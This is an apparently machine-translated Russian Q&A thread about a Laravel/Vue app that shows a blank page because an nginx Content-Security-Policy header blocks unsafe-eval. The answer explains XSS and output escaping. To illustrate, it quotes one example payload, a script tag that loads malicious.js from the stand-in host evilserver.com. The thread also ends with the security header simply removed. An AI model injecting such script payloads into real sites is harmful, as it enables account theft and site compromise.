Laravel Mix VueJS пустая страница производства - PullRequest
Новая
       13

Laravel Mix VueJS пустая страница производства

0 голосов
/ 30 апреля 2020

После долгих разочаровывающих часов исследований я наконец нашел причину для моего приложения Laravel7 VueJS (в пределах шаблонов блейдов), работающего на nginx, с пустым экраном. Тем не менее, мне не хватает объяснения или правильной конфигурации.

Когда я получал доступ к любому маршруту, он просвечивал около 200 мс, а затем переключался на белый экран без ошибок в конфигурации npm run prod. Тег body был бы совершенно пустым (в инспекторе он выглядел без комментариев) 

[...]
<body>
<!-- -->
</body>
[...]

Достаточно забавно (с сарказмом) при перезагрузке страницы страница входа работала бы нормально, но после доступа к любому другому маршруту она вернулась бы к поведению как описано выше.

После переключения на npm run dev консоль выдавала следующую ошибку:

[Vue warn]: похоже, вы используете автономную сборку Vue . js в среде с политикой безопасности контента, которая запрещает unsafe-eval. Компилятор шаблонов не может работать в этой среде. Рассмотрите возможность смягчения политики, чтобы позволить unsafe-eval или предварительно скомпилировать ваши шаблоны в функции рендеринга.

и

EvalError: Отказался оценивать строку как JavaScript, поскольку «unsafe-eval» не является допустимым источником сценария в следующей директиве Content Security Policy: "default-src 'self' http: https: data: blob: 'unsafe-inline'".

, которая заставила меня осознать мою nginx конфигурацию безопасности, которую я сгенерировал, используя невероятную Инструмент, предоставленный DigitalOcean , включает следующую строку: 

add_header Content-Security-Policy "default-src 'self' http: https: data: blob: 'unsafe-inline'" always;

После удаления и перезапуска nginx все работает и выглядит так же, как и в моей среде разработки.

Из чего Теперь я теоретически делаю свой сайт уязвимым для атак XSS, но я не до конца понимаю, что делает этот параметр, или безопасно ли без него работать при этих обстоятельствах.

1 Ответ

0 голосов
/ 30 апреля 2020

Заголовок CSP просто сообщает вашему браузеру, какие источники JS разрешены. Тем не менее, это действительно план резервного копирования - причина, по которой XSS - это некий код в вашей системе, который может сделать неавторизованным JavaScript.

Например, поля комментариев в переполнении стека позволяют мне ввести следующий текст: <script src="http://evilserver.com/malicious.js"></script>. Переполнение стека знает, что они делают, поэтому они проверяют, что отображается HTML, а не буквальный тег <script>. Таким образом, вам необходимо убедиться, что вы проявили необходимую осторожность при рендеринге пользовательского контента , и все будет в порядке (обычно вы делаете это на выходном слое, а не при принятии / сохранении ввода).

Если вы принимаете HTML ввод от пользователей (как это происходит при переполнении стека), вам следует быть особенно осторожным, чтобы разрешить только определенные теги и обеспечить блокировку любых JS векторов. Итак, следующий текст:

на самом деле в теге <i>, который отображается буквально в веб-приложении

Это нормально, так как это безопасно , Вы должны убедиться, что любые атрибуты тщательно проверены и любая недопустимая разметка отклонена. Они также могут быть источником проблем безопасности. Это достаточно сложная проблема, поэтому, если вам нужно, чтобы пользователи могли вводить HTML, вам не следует пытаться фильтровать ее самостоятельно. Вместо этого используйте хорошо проверенную и уважаемую библиотеку.

...